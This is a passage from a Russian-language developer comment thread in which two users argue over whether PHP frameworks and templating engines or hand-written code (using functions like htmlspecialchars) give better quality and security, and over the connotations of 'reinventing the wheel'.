      Речь не о квалифицированности, можно и на C писать всё с нуля, но никто этого не делает, т.к. скорость разработки важнее. В Google работают очень квалифицированные специалисты, но YouTube сделан на ангуляре, потому что это быстрее и удобнее, чем писать с нуля.


      1. antonn
        11.04.2018 16:13

        А зачем отвечать не под моим комментом?

        Случайно получилось (цитату же сделал), извиняюсь.
        Отвечая на ваш вопрос — нет, ничего штатного нет. ПХП это в определенной мере и есть приведенный вами С (только в вебе), поверх которого уже и ваяют более гибкие «отдельные» шаблонизаторы, и точно так же парируют что на «чистом ПХП» писать вручную дольше.
        PS Какой нибудь веб-сервис, в принципе, можно и на С написать, если приоритетные цели — скорость работы и ресурсы сервера.


  1. antonn
    11.04.2018 08:11
    -1

    А не хотите выложить свой код в открытый доступ?)

    конечно хочу, вот пожалуйста — мегасложные функции, использование которых затруднено, крайне неудобно, совершенно недокументированы, десятками лет не облизанные и не отполированы, комментарии к ним не стоит читать, совсем не надо заставить себя их использовать, а забабахать фреймворк или просить чужой код в открытый доступ:
    php.net/manual/ru/function.htmlspecialchars.php
    php.net/manual/ru/function.htmlentities.php


    1. michael_vostrikov
      11.04.2018 08:39
      +1

      Это разве ваш код?

      Вы сравниваете код, который «можно написать самому» с кодом, который точно также кто-то написал сам и предоставил в пользование другим. При этом говорите, что второй вид кода для менее квалифицированных и дисциплинированных, и гарантий не дает. Из чего следует, что первый вид качественнее и дает больше гарантий. Чтобы проверить, действительно ли это так, нужно поставить оба варианта в одинаковые условия — а именно открытый доступ для анализа. Иначе это необоснованное утверждение в стиле «так лучше, правда-правда», то есть силы не имеет, и доверять ему нельзя.


      1. antonn
        11.04.2018 09:03

        Я говорю что можно написать самому, или взять чужое, если квалификация написать самому обертку-шаблонизатор с использованием давно описанных функций не позволяет. Но и они гарантий не дают.
        Вы читаете то, что хотите прочитать. Я написал «И». Это значит что и с использованием велосипедов-фреймворков гарантий нет, так же как с перечисленными способами выше (а именно — самописным).
        За необоснованный наезд можете не извиняться.


        1. michael_vostrikov
          11.04.2018 12:23

          Почему наезд?) Просьба подтвердить свои слова это никакой не наезд.

          Я говорю про ваше утверждение, что фреймворки нужны для менее квалифицированных и дисциплинированных. Это не так. Для их использования есть и другие причины, кроме «если квалификация не позволяет». А также я говорю, что в большинстве случаев квалификация одного будет меньше квалификации многих, соответственно, в самописном коде больше вероятность ошибки или уязвимости. Вы говорите, что это не так, потому я и предложил вам показать ваш самописный код. Не хотите, ну ок, просто вы не подтвердили слова делом. Как к этому относиться, сами решайте, и другие тоже для себя решат.


          1. antonn
            11.04.2018 12:51

            Почему наезд?) Просьба подтвердить свои слова это никакой не наезд.

            Потому что вы неверно поняли мои слова и перевернули их смысл, начав при этом требовать что-то от меня. Более того, даже продолжили переворачивать, ибо:
            Я говорю про ваше утверждение, что фреймворки нужны для менее квалифицированных и дисциплинированных

            это не мое утверждение, я ничего подобного не говорил и не подразумевал. Вы не умете в логику.
            Я сказал «для менее квалифицированных и дисциплинированных лучше подобрать готовые шаблонизаторы и фреймворки» (но при этом И они не дают гарантий; гарантии дает только страховой полис). Лучше — это не синоним «нужны только». Так же из моего утверждения не следует никаким образом «фреймворки — для малоквалифицированных». Это уже ваши фантазии, которые вы продолжаете мне приписывать. Не надо так.


            1. michael_vostrikov
              11.04.2018 14:10

              начав при этом требовать что-то от меня

              Я ничего от вас не требовал, а только попросил. Вернее даже спросил. А вы почему-то начали ёрничать.


              Лучше — это не синоним «нужны только»

              А я и не говорил "нужны только".


              Я сказал «для менее квалифицированных и дисциплинированных лучше подобрать»

              Из чего следует, что для хорошо квалифицированных и дисциплинированных больше подходит обратный вариант — писать код и шаблонизацию самому. А это не так.


              И по поводу наездов. Это вы высказываете необоснованные негативные характеристики по поводу фреймворков и тех, кто ими пользуется. Все эти "навелосипедили", "забабахать", "велосипедов-фреймворков", "взять чужое, если квалификация не позволяет". Почему вы считаете, что вам можно делать наезды?


              1. antonn
                11.04.2018 15:47

                Из чего следует, что для хорошо квалифицированных и дисциплинированных больше подходит обратный вариант — писать код и шаблонизацию самому.

                Ничего подобного не следует, тут не булевая логика: «если для малоквалифицированных лучше взять фреймворк», то отсюда НЕ следует что для квалифицированных лучше писать самому.

                Это вы высказываете необоснованные негативные характеристики по поводу фреймворков и тех, кто ими пользуется.

                Вам это показалось, потому что вы желаете видеть это в моих словах.
                Однако у меня есть мнение, что если человек в PHP может писать исключительно на фреймворках, то он неквалифицированный PHP-шник. При этом использование фреймворков в целом никак не отражает негативно квалификацию. Нет никакого вывода «либо руками и крутой, либо фрейм и тупой», под который вы активно меня подводите.


                1. michael_vostrikov
                  11.04.2018 20:10

                  Ничего подобного не следует, тут не булевая логика

                  Слово "лучше" это сравнительная степень. Она подразумевает 2 варианта, которые сравниваются. "Что-то" лучше, чем "что-то". Ну ок, будем считать, что "можно написать самому код" не относится к левой части утверждения.


                  Вам это показалось, потому что вы желаете видеть это в моих словах.

                  То есть вы отрицаете, что у указанных слов есть всем известный негативный оттенок? Если нет, значит мне не показалось.


                  1. antonn
                    11.04.2018 21:05

                    То есть вы отрицаете, что у указанных слов есть всем известный негативный оттенок?

                    Я полностью отрицаю не известный никому негативный оттенок, и уже не первый раз вам это говорю в этой теме, предлагаю закончить этот срач.


                    1. michael_vostrikov
                      12.04.2018 11:03

                      Изобретать велосипед


                      Говорится с неодобрением, с ироническим оттенком.
                      в целом передаёт стереотипное представление о дилетантском подходе к какому-л. занятию.


                      1. antonn
                        12.04.2018 12:12

                        Нет ничего страшного в том, чтобы изобретать велосипед в разработке ПО, это как минимум опыт.
                        Огромное количество фреймворков/CMS/и прочих движков являются велосипедом, в силу обычного желания «сделать свое и лучше» (блэкджеком и путанами), часто повторяя подход уже существующих разработок, повторяя их ошибки и наступая на те же грабли, и реализуя схожие алгоритмы, отличающиеся в целом минимально. Например механизм сессий: их навелосипедили сотни, причем многие тупо завязаны на родные PHPSESSID, и отличаются они не механикой (которую сложно изменить в http), а просто удобством использования. Вы хотите какой-то другой термин применить к этим наработкам, повторяющие функционал практически полностью?